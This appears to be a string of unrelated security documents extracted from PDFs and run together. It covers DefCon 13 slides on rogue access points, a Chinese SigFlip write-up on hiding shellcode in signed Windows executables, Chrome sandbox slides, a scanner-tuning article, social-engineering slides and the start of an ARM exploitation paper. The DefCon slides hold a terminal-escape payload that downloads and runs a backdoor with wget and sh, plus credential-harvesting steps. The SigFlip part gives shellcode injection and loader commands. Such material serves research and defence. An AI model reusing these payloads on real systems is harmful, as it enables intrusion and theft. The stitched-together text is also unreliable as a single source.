does the user know?! DefCon 13 Access Point SSID: “goodguy” SSID: “badguy” Stronger or Closer Access Point “ANY” Wi-Fi Card SSID: “goodguy” “badguy” DefCon 13 Rogue AP Attacks Normal Gear @ 25mW (14dBm) Cisco Gear @ 100mW (20dBm) Senao Gear @ 200mW (23dBm) Use a 15dBd antenna with a Senao for 38dBd total... 6 WATTS! VS 25mW? BAD GUY WINS! NO CONTEST! Choose your Wi-Fi weapon... DefCon 13 DefCon 13 DefCon 13 DefCon 13 Rogue APs won't go away... ● Users will be users, and they WILL fall for access point “impersonators”. ● If you didn't notice, phishing and identity theft are on the rise... and so is hotspot usage. ● “Extra” wireless client profiles provide extra avenues of attack. ● EAP is an acronym, not a catch-all. ● Gartner can blow us. DefCon 13 Rogue RADIUS ● Who says rogue APs can't be used against corporate wireless networks? ● There are plenty of ways to screw up EAP. ● FreeRADIUS provides a simple & easy way to accept EAP credentials – Integrates nicely with hostapd. ● Can allow for “EAP Peeking”... DefCon 13 EAP Authentication Server Supplicant Wireless Wired Authenticator EAPOL-Start EAP-Request / Identity EAP-Response / Identity EAP-Response / Identity EAP-Request EAP-Request EAP-Response EAP-Request EAP-Success EAP-Success & Key EAP-Key DefCon 13 EAP-TTLS Authentication Server w/ Certificate Supplicant Wireless Wired Authenticator EAP-Success EAP-Success & Key EAP-Key 802.11 Authentication & Association 802.1x EAP Protocol Exchange 802.1x EAP-TTLS Protocol Exchange Secure Tunnel Established User Credentials Exchanged DefCon 13 EAP-TTLS Weakness Authentication Server w/ Certificate Supplicant Authenticator 802.1x EAP Protocol Exchange 802.1x EAP-TTLS Protocol Exchange Secure Tunnel Established w/o Remote Certificate Check? User Credentials Given Up? Previous EAP-TTLS Authentication Established Rogue AP + RADIUS DISASSOCIATED! 802.11 Authentication & Association DefCon 13 2. Learn username & password. EAP-TTLS w/ PAP Attack? RADIUS Server Windows XP w/ SP2 Wireless Wired EAP-TTLS w/ PAP over TLS Rogue AP w/ Rogue RADIUS Server 1. Disassociate users. 3. Disassociate, copy creds to local EAP config. 4. Impersonate victim with legit username & password whenever. DefCon 13 All Your PAP... Google for targets, if you like. ;) DefCon 13 All Your CAs... The “All or None” Vulnerability DefCon 13 2. Learn DOMAIN and username w/ rogue AP. PEAP Attack? RADIUS Server Windows XP SP2 Wireless Wired PEAP w/ MSCHAPv2 over TLS Rogue AP w/ Rogue RADIUS Server 1. Disassociate users. 3. Disassociate, seed local password file. 5. Repeat #3. Authentication success = correct password guessed! 4. User continuously attempts to re- authenticate. DefCon 13 Wireless Weaponry for Windows ● But rogue AP attacks require a “sophisticated hacker”, right? Wrong. ● SoftAP + TreeWalk + Apache + ActivePerl = Airsnarf for Windows – http://airsnarf.shmoo.com/airsnarf4win.html – “Evil Twin Access Points for Dummies” ● But why only run one rogue AP, when you can run two... or three? DefCon 13 Rogue Squadron ● Because it's SO hard to run Airsnarf (the SHELL script)... ● Rogue AP setup for the masses ● Modified WRT54G firmware – Based off of Ewrt – Adds username & password portal capture and logging ● Looks like this... DefCon 13 DefCon 13 DefCon 13 DefCon 13 http://airsnarf.shmoo.com/rogue_squadron/ DefCon 13 Heeeeeeere's Rodney! DefCon 13 Shooting Your Security Wad (Never let Beetle title your slides) DefCon 13 Why is Rodney ranting now? ● Been doing product reviews (public and private) ● Keep seeing some incredibly lame product “features” ● There’s a risk of FPGS (Ford Pinto Gastank Syndrome) DefCon 13 Four Hard Questions? ● Does your product produce an external log? ● Do you have a security incident report mechanism? ● Does your product store it’s key material securely? ● Do you provide a secure management interface? Why are these hard questions in 2005? DefCon 13 Don’t make things worse ● Security products should NOT increase the attack surface. ● Central servers are single points of failure ● Communicate securely among your components ● Don’t run sloppy distro’s DefCon 13 Stupid Vendor Tricks ● No logging when there are errors ● No logging upon start-up ● Self-signed certificates ONLY ● No capability for change control ● Incoherent documentation/UI ● Follow the damn protocol specs DefCon 13 Attacks you should try ● Run NMAP and NESSUS (or your fav commercial equivalent) ● telnet 10.0.0.1 22 ● openssl s_client –connect 10.0.0.1:443 –ssl2 ● Go after the web interface ● Ettercap ● Google for a random relevant exploit and try it (or one off a security mailing list) DefCon 13 How you can make things better ● (We’re not the bad guys. We’re trying to be educated consumers. Here’s some things you can do to help make things better.) ● If you show how one of these possible flaws can be broke, submit to present it at shmoocon 2006) DefCon 13 How you can make things better ● Report flaws to the vendor ● Document risks caused by security gear ● Disrupt future purchases of clueless security gear ● Encourage future purchases of cluefull security gear ● Show how easy it is to break things DefCon 13 Did you want more gear? Okey dokey. CowboyM, show 'em what you got. DefCon 13 802.11bloodhound DefCon 13 DefCon 13 DefCon 13 DefCon 13 DefCon 13 Cazz Kicks Ass DefCon 13 DefCon 13 Announcing PotKettle Industries ● Exploit the exploiters ● ??? ● Profit DefCon 13 Multihtml.c exploit remote vulnerability ● Category: Remote for Remote ● Vendor: bansh33 <[email protected]> ● Affects: All Platforms ● URL: http://potkettle.net/advisories/1 DefCon 13 Kismet Evasion ● So, wanna evade kismet? scanned = sscanf(in_data+hdrlen+18, "%d \001%255[^\001]\001 " "\001%255[^\001]\001 " "%d %d %d %d %d %d %d %d %d %hd.%hd.%hd.%hd " "%d %f %f %f %f %f %f %f %f %d %d %d %f %d %d %d %d %d %d " "%f %f %f %lf %lf %lf %ld %ld" "%d %d %d %d %d %d %d %d", (int *) &type, ssid, beaconstr, &llc_packets, &data_packets, &crypt_packets, ... ● Set your SSID to "shmoo\x01" DefCon 13 And MORE...! ● Wanna own Metasploit & Canvas users? ● Use HDM's exploits against his own projects? echo -e "\e]10;[:/Special/{Access} wget 127.0.0.1/.bd\rsh bd\rexit\r:]\a\e]10;[show]\a" DefCon 13 And Bruce gets to rant, too! DefCon 13 Bluetooth Security ● Things have gotten worse, not better – Millions more radios than last year – Several high profile vulnerabilities – Near zero focus from enterprises • Trifinite.org’s work – Blooover quite the uber tool DefCon 13 Bluetooth Security ● Several other attacks via AT commands – Dialing, getting data, etc… not good things to do without authentication • Pairing attacks, known for years, are now being coded and used • WIDS still seems to equal 802.11 tho… – Gonna be a bad year for IT security DefCon 13 Defending Wireless Networks ● We seemed to have covered a lot of ground on the Offensive.. What about Defense *boom boom* Defense! ● First there was Host Spot Defense Kit (HSDK) – Released BH Fed 03 – Looked for directed rogue AP attacks against your client – OS X, Linux, and Windows code DefCon 13 Defending Wireless Networks ● At the time of HSDK, there was NO capability for rogue detection in commercially avail software ● Today, we’re still not much better – AirDefense Mobile, some other small stuff – Rogues are THE BIGGEST threat against enterprise networks • So, while the industry is still finding their whatnot with both hands, we’re making… DefCon 13 Hot Spot Defense Kit v2 ● Enterprise wireless IDS systems look for any attack, not just one directed at a particular client ● When you are on the road (or don’t have the “luxury” of an enterprise WIDS) you need the same kind of protection DefCon 13 Hot Spot Defense Kit v2 ● HSDK v 2 aims to be an environmental monitor of sorts – Looks for any zip in the wire, not just ones directly effecting the client – If you’re in downtown Baltimore, and someone starts shooting, you tend to freak out even if they’re not shooting at you… wireless shouldn’t be any different DefCon 13 HSDK v2 ● Still under development ● Looking for: – Mass auth/deauth/assoc attacks – Fake AP signatures – Reinjection attacks (hard) – The standard rogue detection stuff from v1 • If something is detected, the green ball turns red (step away from the computer) – If security software isn’t usable, it’s useless DefCon 13 Speaking of… ● As security professionals, we sure haven’t learned much – Security needs to be usable by the users ● Users need hueristic decisions made for them and presented in red or green balls – Security admins need to act like professionals and have a real understanding of their operations IT Security Professional Normal Users IDS IDS Knowledge really needed by user A real Enterprise View Host and Enterprise INTEGRITY Monitoring DefCon 13 Potter’s Pyramid of IT Security Needs IDS Patch Mgt Op. Procedures Firewalls Auth / Auth Software ACLs Sec Honeypots Sophistication and Operational Cost DefCon 13 DefCon 13 ShmooCon 2006 ● January 13-15 ● Washington, D.C. ● Pre-registration is LIVE now. ● http://www.shmoocon.org ● Got an ad? Submit it! ● Here's one... DefCon 13 Thanks! Questions?
pdf
SigFlip原理:将数据隐写到已签名的PE文件上 Github地址: https://github.com/med0x2e/SigFlip 可以怎么玩呢,可以白加黑当冲锋马的时候,白文件写入shellcode,黑文件加载白文件的shellcode。 也可以做维权使用,将shellcode注入到系统的白文件中,dll劫持或者loader加到启动项里面。 使用 两个目录 Bof 和 DotNet ,DotNet是c#写的用来可行性测试,包含注入代码,loader加载功能,Bof是C 写的,也包含注入代码和loader加载功能,主要是可以编译成bof文件给Cobalt Strike使用。 c#代码loader的部分直接CreateRemoteThread就运行shellcode了,而bof的loader部分使用 Early Bird ,启动一个新进程 pac注入执行。 c#和Bof会写入 "\xFE\xED\xFA\xCE\xFE\xED\xFA\xCE" 当作标记,在读取shellcode时通过这个字符 就可以直接定位到shellcode了。 注入shellcode到签名的PE文件 loader执行shellcode 说说原理,一句话就是将shellcode写到了签名时不计算的区域。 签名的位置 https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#optional-header-data-direct ories-image-only c:\> SigFlip.exe -i C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe -s C:\Temp\x86.bin -o C:\Temp\MSbuild.exe -e TestKey c:\> SigLoader.exe -f C:\Temp\MSBuild.exe -e TestKey -pid <PROCESS_ID> _IMAGE_DATA_DIRECTORY 第4个偏移的位置(从0开始)。 签名信息的结构 https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#the-attribute-certificate-tabl e-image-only 值 信息 Win32 SDK中的宏定义名 0x0100 Win_Certificate的老版本 WIN_CERT_REVISION_1_0 0x0200 Win_Certificate的当前版本 WIN_CERT_REVISION_2_0 灰色背景的部分,不参与签名的hash计算。粗体的部分,就是签名的相关内容。 SigFlip的原理就是将数据隐写到灰色的部分。 数字签名结构 WIN_CERTIFICATE dwLength:此结构体的长度。 wRevision:在bCertificate里面保护的证书的版本号,版本号有两种,如下表,一般为0x0200。 wCertificateType:证书类型,有如下表格中的类型: typedef struct _WIN_CERTIFICATE {    DWORD       dwLength;    WORD        wRevision;    WORD        wCertificateType;   // WIN_CERT_TYPE_xxx    BYTE        bCertificate[ANYSIZE_ARRAY]; } WIN_CERTIFICATE, *LPWIN_CERTIFICATE; 值 信息 Win32 SDK中的宏定义名 0x0001 X.509证书 WIN_CERT_TYPE_X509 0x0002 包含PKCS#7的SignedData的结构 WIN_CERT_TYPE_PKCS_SIGNED_DATA 0x0003 保留 WIN_CERT_TYPE_RESERVED_1 0x0004 终端服务器协议堆栈证书签名 WIN_CERT_TYPE_TS_STACK_SIGNED bCertificate:包含一个或多个证书,一般来说这个证书的内容一直到安全表的末尾。 具体的 WIN_CERT_TYPE_PKCS_SIGNED_DATA 结构参考 https://download.microsoft.com/download/9/ c/5/9c5b2167-8017-4bae-9fde-d599bac8184a/Authenticode_PE.docx 最值得注意的是 bCertificate 的字节大小要求8字节对齐。 修改要做的步骤 根据_IMAGE_DATA_DIRECTORY 获取 WIN_CERTIFICATE 的RVA和大小,添加数据到 bCertificate 后 面,再注意8字节对齐即可。 Ps:为什么添加数据在bCertificate后面不影响证书的校验呢,我原本想找找PKCS#7证书的结构看看的, 搜了一圈,也没找到比较好的。但是可以猜测,既然有8位对齐的校验,说明后面添加几个字符是没有影 响,再可以反推出,每个字段都有一个长度字段控制。所以后面无论我们添加多少字段,对证书的校验 都不会影响。 再 更新 dwLength 大小 更新 _IMAGE_DATA_DIRECTORY[WIN_CERTIFICATE ] 的size。 更新PE头的 CheckSum (这个可选) 手动修改 有了上面的描述,我们可以手动修改试试,以“微信”为例,用它的主程序,数字签名也都正常。 用 CFF Explore 打开wechat.exe,定位到证书表的选项 可以知道证书的位置在文件偏移的 000EA800 ,大小是000035F8 用 010 Editor 跳转到这个地方 头部对应上数据结构的值 dwLength = 0x35f8 typedef struct _WIN_CERTIFICATE {   DWORD       dwLength;   WORD       wRevision;   WORD       wCertificateType;   // WIN_CERT_TYPE_xxx   BYTE       bCertificate[ANYSIZE_ARRAY]; } WIN_CERTIFICATE, *LPWIN_CERTIFICATE; wRevision=0x0200 wCertificateType=0x02 后面即证书的字节了,跳转到最后可以看到有七个字节用作了对齐 我们可以在后面添加自己需要的字节(要是8的倍数),例如我添加16个。 所以新的长度就是0x35f8+16 = 0x3608 ,新的长度更新到两个地方 更新 dwLength 大小 更新 _IMAGE_DATA_DIRECTORY[WIN_CERTIFICATE ] 的size。 最后它的证书也是正常的。 防御手法 检查是否安装了 MS13-098 KB2893294 (一般默认不安装) 检查注册表 HKLM:\Software\Microsoft\Cryptography\Wintrust\Config HKLM:\Software\Wow6432Node\Microsoft\Cryptography\Wintrust\Config 历史 早在2013年,就有人发现chrome的安装包会在证书处写自己的安装信息。 https://blog.didierstevens.com/2013/08/13/a-bit-more-than-a-signature/ 增强对抗 loader就可以按shellcode的加载方式进行了,通常一个CreareRemoteThread就可以启动了。在对抗中 执行可以更复杂一点,对于白加黑运行,运行shellcode可以劫持返回地址,或者注入到主程序的入口来 执行。
pdf
脚本⼩⼦觉悟之获取⽹⻚正确编码 0x00 认识text与content 先来⼀段熟悉的代码: 那么 text 与 content 的区别,我们可以跟进看看 content 代表返回 raw 类型的byte字节流数据,这个时候的数据没有编码概念。 text 通过阅读注释和代码,可知返回的是编码后数据,其中获取编码的流程是,先通过 response 的header头来 判断,如果没有,则Fallback到 chardet 去猜测,然后使⽤获取到的最终编码类型对byte数据进⾏编码。 resp = requests.get(url=url, verify=False) print(resp.text) print(resp.content) 0x01 出现问题 乍⼀看,是不是以后我们使⽤ text 就能获取到较为准确的编码后的内容了? 爽歪歪 但是当你尝试执⾏下⾯这段代码的时候,乱码却来的那么令⼈惊喜"。 import requests import chardet def get(url): try: resp = requests.get(url=url, verify=False) print(resp.encoding) print(resp.headers) print(resp.text) except Exception as e: print(e) get("https://baidu.com/") ⾸先 requests 从header获取到编码是 ISO-8859-1 单字节,根据乱码来看,嗯,出错了。 在 adapters.py 的274⾏ get_encoding_from_headers 可以看到,获取到的编码逻辑, requests 作者基于⼀些考量做了⼀些"优化"。 0x02 解决问题 编码的选择权交给⻚⾯提供⽅是⼀种"合理"的约定。但是很多⽹站在控制编码⽅⾯是通过在html⻚⾯通过 <meta chartset="utf-8"> 之类的语句来指定⻚⾯的编码,导致爬⾍使⽤ requests.text 就会得到乱码的结果。针对 这种情况,与其被动,不如主动,直接利⽤ chardet 进⾏"经验"考量判断。 if 'text' in content_type: return 'ISO-8859-1' import requests import chardet 0x03 总结   炒冷饭的⼀些常识性的东⻄,对于优化你的⽇常扫描脚本或许能起到⼀些作⽤吧,⾄少在速度、准确度上⾯以 及脚本轻量化⽅⾯这都是⼀种不错的选择。 import urllib3 urllib3.disable_warnings() def get(url): try: resp = requests.get(url=url, verify=False) encoding = chardet.detect(resp.content).get("encoding", "utf-8") return str(resp.content, encoding=encoding) except requests.exceptions as e: print(e) print(get("https://baidu.com/"))
pdf
The  Evolu*on  of  Chrome  Security Architecture Huan  Ren Chromium  Contributor Qihoo  360  Technology  Ltd Introduc*on  to  Speaker •  2011.07  -­‐  Present,  Qihoo  360  Technology  Ltd. Engineering  lead  of  360  browser  team •  2007  -­‐  2011,  Staff  SoNware  Engineer,  Google  Inc  One  of  the  founding  engineers  of  Google  Chrome team •  2004  -­‐  2006,  SoNware  Design  Engineer  Windows  base  team,  MicrosoN History •  Ini*al  version:  mul*-­‐process,  no  sandbox •  2007:  renderer  sandbox •  2009:  extension  system •  2010:  out  of  process  GPU •  2010  and  ongoing:  plug-­‐in  sandbox  and pepper Today’s  Chrome  Architecture Browser Renderer Extension Plug  In GPU Sandbox  Policy Render  Sandbox •  Token Calling  CreateRestrictedToken  with  Null  SID  and  all privileges  deleted. •  Job JOB_OBJECT_LIMIT_ACTIVE_PROCESS JOB_OBJECT_UILIMIT_READCLIPBOARD … •  Alternate  desktop •  Low  integrity  level  (for  Vista+) Challenge:  compa*bility •  Two  phases –  Bootstrap:  ini*al  token –  Lockdown:  aNer  LowerToken()  is  called •  API  Intercep*ons IPC Policy Engine IPC Policy Client Intercep*ons Broker (browser) Renderer Intercep*ng  APIs  for  compa*bility,  not  for  sandboxing. Challenge:  compa*bility •  Paint  to  screen cache bitmap Browser Renderer IPC  (shared memory) Window WM_PAINT Render  Process  Separa*on •  Process  model – Process  per  tab – Process  per  site – Process  per  site  instance •  Mandatory  process  separa*on – webUI,  extension,  and  normal  render  processes Extension  Security  Architecture Browser Extension (sandboxed as  renderer) Renderer ( sandboxed) Plug-­‐in (not  sandboxed) Content script Background page Extension host Permissions Message  passing JS  sandboxing JS  sandbox:  isolated  world DOM V8 binding Page Page  JS Content Script  1 Content Script  2 Privilege  separa*on •  Content  script:  running  in  renderer  process associated  with  page •  Extension  core:  running  in  separate  process with  privilege  to – issue  cross-­‐origin  XMLHTTPRequest – call  extensions  APIs – load  plug-­‐ins •  Both  sandboxed  as  renderer  process. Message  passing •  One-­‐*me  request chrome.extension.sendMessage chrome.tabs.sendMessage chrome.extension.onMessage.addListener •  Long-­‐lived  connec*ons chrome.extension.connect chrome.extension.onConnect.addListener •  Cross-­‐extension  messaging Publishing •  Manifest {  … "key":  "publicKey", "permissions":  [  "tabs",  "bookmarks",  "hjp://*.google.com/",  "unlimitedStorage"  ], "plugins":  [...], } Common  Extension  Vulnerabili*es •  Network  ajack  Use  <script  src>  with  an  HTTP  URL •  XSS  eval(),  innerHTML,  document.write() func*on  displayAddress(address)  {  eval("alert('"  +  address  +  "')"); } Evalua*on  of  Chrome  Extensions •  Study  by  UC  Berkeley,  to  be  presented  in upcoming  USENIX  Security  Symposium  2012 – Manual  review  of  50  popular  and  50  randomly-­‐ selected  extensions. – Found  70  vulnerabili*es  across  40  extensions. Source:  "An  Evalua*on  of  the  Google  Chrome  Extension Security  Architecture" Evalua*on  of  Chrome  Extensions Vulnerable  Component Web  A1acker Network  A1acker Core  extension 5 50 Content  script 3 1 Website 6 14 Vulnerable Component Popular Random Total Core  extension 12 15 27 Content  script 1 2 3 Website 11 6 17 Any 22 18 40 Source:  "An  Evalua*on  of  the  Google  Chrome  Extension  Security Architecture" Extension  Security  V2 •  Support  Content-­‐Security-­‐Policy  (CSP) •  Manifest  V2  script-src 'self'; object-src 'self' – No  inline  script – No  eval() – Load  objects  only  from  within  package  or  whitelist •  “prevent  96%  (49  out  of  51)  of  the  core extension  vulnerabili*es  found.  ” Other  Threats  on  Extensions •  Threat  model –  Ajack  on  core  extension •  primary  design  goal –  Malicious  extensions •  Chrome  sync  amplifies  the  threat –  Websites  that  have  been  altered  by  extensions •  Remain  to  be  studied •  Malicious  extensions –  From  Chrome  21,  only  allow  installa*on  from  web store. GPU  Process Renderer process GPU process Shared  Memory Commands Bitmaps and  arrays Browser process H/w decoder HWND Child  HWND GPU  Sandbox •  Token – WinBuil*nUsersSid,  WinWorldSid,  WinRestrictedCodeSid •  Connected  to  the  interac*ve  desktop Plug-­‐ins •  NPAPI  plug-­‐ins  are  not  sandboxed – Weakest  link  on  the  system •  Mi*ga*ons – Black  list – Click  to  play – Built  in  Flash  player •  Fast  update •  Sandbox:  Vista  and  later,  low  integrity  mode Ppapi  Plug-­‐ins Browser process Plug-­‐in process Renderer process Plug-­‐in Ppapi Cross  plazorm System  APIs Locked  down as  renderer  process Current  Progress •  Performance  improvement – From  sync  layout  model  to  async •  Conver*ng  na*ve  system  calls  to  ppapi – Flash – PDF  reader •  Chrome  21  beta:  Ppapi  Flash  enabled  by default Design  Principle  Review •  Least  privilege •  Privilege  separa*on •  Leveraging  system  security  mechanism •  Striking  a  balance  between  security  and performance,  user  experience.
pdf
⾃动src之ARL⼤改造-优化漏扫  0x00 前⾔  这篇⽂章是继续对灯塔ARL的优化以达到较好的辅助src漏洞挖掘。继前⾯通过对host碰撞的简单优 化我⼤概了解了⼀下arl的逻辑,接下来这篇⽂章是针对更加复杂的nuclei的漏扫模块做⼀定的优 化。 0x01 简单看⼀下nuclei扫描逻辑  这⾥的nuclei扫描可以理解为arl调⽤的⼤名鼎鼎的漏扫⼯具nuclei作为主要漏扫引擎。不知道nuclei 的可以⾃⼰去GitHub下载安装⼤致体验⼀下,暂时可以简单的理解为国外版的xray。ARL这⾥直接 将nuclei作为漏扫引擎来集成使⽤了。 我们⼤概看⼀下代码上的逻辑,搜⼀下nuclei 跟进去 看起来是展示扫描结果的,⽽我们需要的是整个扫描启动的过程,所以看别的地⽅ 找到⼀个nuclei_scan.py,跟进去看看 这个nucleiscan类有很多⽅法看着就很科学,⼀个个简单浏览⼀下 可以看到是直接调⽤的命令⾏的nuclei命令来执⾏的扫描任务 先exec命令⾏的nuclei,等执⾏完毕后去执⾏dump_result函数 dump_result则是读取nuclei执⾏完毕后的结果⽂件⾥的内容然后组合成⼀个result列表后进⾏返 回。 0x02 思考⼀下优化点  浏览完整个扫描的过程后,我⼤概有两块的优化点要做: 1. 优化nuclei的扫描,⽐如仔细阅读他的命令⾏参数,修改⼀下相对的参数进⾏执⾏ 2. 添加新的扫描引擎⽐如xray,使每个扫描任务同时通过nuclei和xray等其他引擎进⾏扫描,然 后将结果整合成同⼀个格式进⾏返回 这两个⽅向的优化都需要去做⼀下,第⼀个优化⽅向则需要我们了解⼀下nuclei的整体命令⾏参数 的含义,第⼆个优化⽅向则需要我们把xray也加进来,修改部分代码并把xray的扫描结果专成和 nuclei同⼀个格式。 0x03 优化nuclei命令⾏参数  想要优化命令⾏参数⾸先我们得先了解,这⾥执⾏的命令⾏参数的整体含义,我们把它摘出来⼀个 个翻译⼀下 [self.nuclei_bin_path, "-duc", //禁⽤poc更新 "-tags cve", //通过tags来指定模板,这⾥应该是指CVE的模板 "-severity low,medium,high,critical", //漏洞等级 "-type http", //类型 "-l {}".format(self.nuclei_target_path), //从⽂件⾥读取⽬标列表 "-json", //输出转成json格式 "-stats", //打印扫描进度 "-stats-interval 60", //每隔六⼗秒打印⼀次扫描进度 "-o {}".format(self.nuclei_result_path), //结果输出到指定⽂件 有⼏个点可能需要考虑⼀下: 1. nuclei是不是需要定时更新包括更新poc和程序版本,这个可能需要检查⼀下docker⾥集成的 nuclei版本 2. 只使⽤cve的tag的poc是不是⾜够,我觉得可以去掉 3. 只检测http的类型是不是范围⼩了点 4. 有没有额外需要增加的参数 关于这个tags可以看这个 接下来前三点⾃⾏考虑吧,第四点这边看了⼀下可能有两个需要考虑的: -iserver, -interactsh-server string interactsh server url for self-hosted instance (default: oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me) -headless enable templates that require headless browser support (root user on linux will disable sandbox) headless不陌⽣,就是⽆头浏览器的意思,加上去可能会对⼀些其他的扫描效果更好些,那么第⼀ 个interactsh-server是什么呢? interactsh其实是⼀个⽐较有名的开源dnslog服务,如果我们不指定的话,nuclei会直接使⽤已经部 署好的公共域名(default: oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me)这⼏个来充当 dnslog,要知道这些是公共的,所以很有可能被加⼊到各类检测规则当中,因此理想情况下我们应 该⾃⾏购买域名然后搭建⾃⼰的interactsh服务⽤于扫描器⾥的dnslog以此来规避安全设备的检测 规则。具体如何搭建在interactsh的GitHub⻚⾯⾥有我就不在这⾥赘述了。搭建完毕后把这个参数 加⼊到扫描代码⾥即可。 0x04 增加xray扫描引擎  另⼀个优化⽅向就是把xray也作为其中⼀个扫描引擎来使⽤,那么我们看⼀下怎么修改代码⽐较合 适。 ⾸先是执⾏命令部分,我们先暂定我们要执⾏的xray的命令为: ./xray_darwin_amd64 webscan --url-file targetsfile --json-output resultsfile 那么回到nuclei那个代码那边,我们加⼀下xray的扫描命令并开启线程使其同时扫描 ⼤致上改成这样是差不多了。 接下来修改dump_result这边,先来看看nuclei的json结果和xray的json结果有何不同 nuclei: xray: 我们来看看dump_results⾥的字段是哪些 item = { "template_url": data["template-url"], "template_id": data["template-id"], "vuln_name": data["info"]["name"], "vuln_severity": data["info"]["severity"], "vuln_url": data["matched-at"], "curl_command": data["curl-command"], "target": data["host"] } 那接下来其实我们只需要把xray的报告⾥的⼀些字段和nuclei的字段做映射即可,虽然不⼀定是百 分百准确,但⾄少能提供⼀些扫描结果的信息出来进⾏参考也就可以了⽽不需要改动太多的代码。 ⽐如我们可以这样: data["template_url"] -> data["detail"]["extra"]["links"][0] data["template_id"] -> data["plugin"] data["vuln_name"] -> data["plugin"] data["vuln_serverity"] -> "xray"或者"high" data["vuln_url"] -> data["target"]["url"] data["curl_command"] -> data["detail"]["snapshot"][0][0][0:150] data["target"] -> data["host"] ⽤这个⽅式来对xray的数据进⾏映射到nuclei的结果集⾥,这样就不需要修改原有的逻辑了。 ⼤致代码如下 感觉上应该是差不多了,就先这样吧。 0x05 总结  这⼀篇⽂章⼤概介绍了⼀下我对arl的漏扫引擎的优化点,从优化nuclei扫描参数到增加xray的扫描 引擎到其中,给出了⼤致的事例代码。 上⽂中的代码我还没调试过,不过我觉得吧,⼋九不离⼗错不了:P 晚点把这些优化点整合⼀下看看是不是和预期⼀样
pdf
“Stratagem 1 "Deceiving the heavens to cross the sea” 瞒天过海 (Using the the 36 stratagems for Social Engineering) Jayson E. Street, CISSP, C|EH, GSEC, GCIH, GCFA, IEM, IAM, ETC… Let go of my EGO Who Am I? [email protected] Hacker/Social Engineer INFOSEC talk = slide like this ;-) •  Sun Wu (Tzu) “Ping-fa”(The Art of War) •  All warfare is based on deception. Hence, when able to attack, we must seem unable; when using our forces, we must seem inactive; when we are near, we must make the enemy believe we are far away; when far away, we must make him believe we are near. Hold out baits to entice the enemy. Feign disorder, and crush him. Contents •  INTRO •  History of the 36 Stratagems •  History of Social Engineering •  How S.E. differs between cultures •  The new OSI model •  Top 5 Stratagems relating to S.E. •  Discussion The History of the 36 Stratagems Cooking = France Painting = Italy Military Strategy = China The History of Social Engineering From the beginning of time before it had a name it was being used as an effective form of attack. Amenhotep III The first Trojan attack Bards masters of the (S.E.) craft How S.E. differs between cultures Asia: Save face = Losing secrets Europe: Command = Control North America: Do unto others = Before they do to you South America: Mutual benefit = An uneven outcome The new OSI model Layer 1-6 is over used time for a new vector. Layer 7 good but getting better defended. Layer 8 less guarded and can’t be patched ;-) Why use Layer 8? Credit to @jcran 3. "Killing with a borrowed knife” 借刀杀人 Turn an enemies asset against him (Let the employee be the attack vector) 3. "Killing with a borrowed knife” 借刀杀人 Cont… 3. "Killing with a borrowed knife” 借刀杀人 Cont… 3. "Killing with a borrowed knife” 借刀杀人 Cont… oops 3. "Killing with a borrowed knife” 借刀杀人 Cont… oops 3. "Killing with a borrowed knife” 借刀杀人 Cont… 3. "Killing with a borrowed knife” 借刀杀人 Cont… 3. "Killing with a borrowed knife” 借刀杀人 Cont… 3. "Killing with a borrowed knife” 借刀杀人 Cont… Thanks @jonoberheide 3. "Killing with a borrowed knife” 借刀杀人 Cont… Thanks @jonoberheide 5. "Looting a house on fire” 趁火打劫 Lay offs / acquisitions create the proper kind of chaos for a subtle attack. < 15. "Luring a tiger from its lair in the mountain” 调虎离山 Wait for the worker to take his network (laptop) to you. 15. "Luring a tiger from its lair in the mountain” 调虎离山 15. "Luring a tiger from its lair in the mountain” 调虎离山 17. "Tossing out a brick to get a jade” 抛砖引玉 $15.00 USB could return an investment of $5,000,000. If cast out to the right “lucky” person 36. "Escape - the best scheme” 走为上 Every plan should have an exit strategy in case the attack fails (especially if you are doing it in the “real world”). Okay now what can we do? Okay now what can we do? Okay now what can we do? Okay now what can we do? Thanks to @0ph3lia Okay now what can we do? •  Without understanding where the opponent's weaknesses are you cannot borrow their strength to use against them. (Cheng Man Ching) •  http://www.dissectingthehack.com •  http://f0rb1dd3n.com •  http://headhacker.net •  http://www.social-engineer.org/ •  http://netragard.com •  http://isc.sans.org •  @jaysonstreet on Twitter Now let’s learn from others •  Discussion and Questions???? •  Or several minutes of uncomfortable silence it is your choice. •  This concludes my presentation Thank You •  http://www.dissectingthehack.com •  http://f0rb1dd3n.com •  http://headhacker.net •  http://www.social-engineer.org/ •  http://netragard.com •  http://isc.sans.org •  @jaysonstreet on Twitter Those Links Again
pdf
============= Non-Executable Stack ARM Exploitation ================= 0.- Introduction 1.- ARM Assembly 1.0 - Exploitation of ARM vs. X86 when stack isn't executable 1.1 - ARM calling convention (APCS) 1.2 - Why simple ret2libc will not work? 1.3 - Understanding the vulnerable function 2.- ARM Exploitation 2.0 - Controlling the PC 2.1 - Ret2ZP (Return To Zero Protection) - For Local Attacker 2.2 - Ret2ZP (Return To Zero Protection) - Attack Explained in Depth (For Remote Attacker) 2.3 - Ret2ZP - R0..R3 Adjustments 2.4 - Ret2ZP - Using the attack to enable stack 2.5 - Ret2ZP - Hacking Android based phone 3.- Conclusion 4.- Acknowledgments 5.- Author 6.- References --[ 0.- Introduction This paper is describing techniques to exploit stack-based buffer overflows and to get more familiar with ARM exploitation in the modern age - where ARM stack isn't executable. This research was made to understand the risks on modern ARM devices in-order to prevent them by suggesting solutions. Disclaimer: When using parts from this paper, you should still credit the authors of this paper and point to an updating link of this paper as a reference. Ret2ZP Attack is described fully and can be preformed at your own ARM devices. I will claim no responsibility for doing yourself or other damage. It's on your own risk. This paper is assuming basic knowledge in X86 assembly or ARM assembly. Also, knowledge of exploitation techniques may assist understanding the paper (when stack is not executable, such as ret2libc attacks). Stack buffer overflow bugs are caused when a program writes more data to a buffer located on the stack than there was actually allocated for that buffer. How can a BO be used? (I) A user can locally run commands to elevate privileges and gain control over a mobile-device. (II) A user can remotely exploit a phone, to gain control over a remote phone to execute commands. This paper intends to show there’s still a risk in current implied security mechanism for devices using ARM CPU. My hope is that more effort will be invested in making solution on mainline kernels. Now, let's change our thoughts from computers to real world ARM exploitation scenario. ARM is being used everywhere right now: Televisions, advanced mobile phones, tablets, etc! But it appears that all exploitation rely on Stack being executable on ARM, which is not the modern scenario. Check if there’s an updated version of this paper at: http://imthezuk.blogspot.com --[ 1.- ARM Assembly ----[ 1.0 Exploitation of ARM vs. X86 when stack isn't executable Stack is not executable 